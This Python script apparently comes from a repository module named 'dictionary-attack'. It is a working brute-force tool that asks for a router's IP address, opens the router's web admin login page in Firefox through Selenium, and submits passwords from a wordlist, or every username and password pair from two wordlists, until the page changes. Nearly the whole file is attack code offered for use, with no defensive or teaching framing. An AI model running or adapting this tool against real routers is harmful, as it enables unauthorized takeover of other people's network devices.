<filename>dictionary-attack-module/dictionary-attack.py
#!/usr/bin/python3
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from selenium.common.exceptions import TimeoutException
import json
import time
import itertools

def passwordAttack(password):
	password_element = driver.find_element_by_xpath(password)
	found = False
	currentUrl = driver.current_url

	with open('resources/passwords.txt') as passwords:
		for password in passwords:
			password_element.click()
			password_element.clear()
			password_element.send_keys(password.strip())
			password_element.send_keys(Keys.ENTER)
			print(password.strip())
			time.sleep(5)
			if driver.current_url != currentUrl:
				found = True
				break 	

	if not found:
		with open('resources/users.txt') as users:
			for password in users:
				password_element.click()
				password_element.clear()
				password_element.send_keys(password.strip())
				password_element.send_keys(Keys.ENTER)
				print(password.strip())
				time.sleep(5)
				if driver.current_url != currentUrl:
					break  

def userAndPasswordAttack(username, password):
	username_element = driver.find_element_by_xpath(username)
	password_element = driver.find_element_by_xpath(password)

	currentUrl = driver.current_url

	with open('resources/users.txt') as users:
		with open('resources/passwords.txt') as passwords:
			for username, password in itertools.product(users, passwords):
				username_element.click()
				username_element.clear()
				username_element.send_keys(username.strip())
				password_element.click()
				password_element.clear()
				password_element.send_keys(password.strip())
				password_element.send_keys(Keys.ENTER)
				print(username.strip(), password.strip())
				time.sleep(5)
				if driver.current_url != currentUrl:
					break

# Opening JSON file
f = open('resources/router-config.json')

# returns JSON object as
# a dictionary
data = json.load(f)

# Closing file
f.close()

ready = False
count = 0

router_ip = None
router_id = None

while not ready and count < 3:
	
	ready = True
	count += 1

	# Initial config
	if router_ip is None:
		router_ip = input("Enter the router ip: ")
	
	if router_id is None:
		router_count = 1
		for i in data['routers']:
			print(router_count,') Brand: ', i['brand'], ' Model: ', i['model'])
			router_count += 1
			
		router_count -= 1	

		router_id = int(input("Enter the router id: "))		
		
		while router_id < 1 or router_id > router_count:	
			router_id = int(input("Invalid ID, please enter the router id: "))	

# Navigate to page
driver = webdriver.Firefox(executable_path='drivers/geckodriver')
driver.get('http://' + router_ip)
print(driver.title)

username = data['routers'][router_id - 1]['username']
password = data['routers'][router_id - 1]['password']

delay = 6 # seconds

try:
	inputsElem = WebDriverWait(driver, delay).until(EC.presence_of_element_located((By.XPATH, password)))

	time.sleep(6)

	if username == "null":
		passwordAttack(password)
	else:
		userAndPasswordAttack(username, password)
		
	time.sleep(6)
	driver.quit()

except TimeoutException:
    print ("Loading took too much time!")
    					
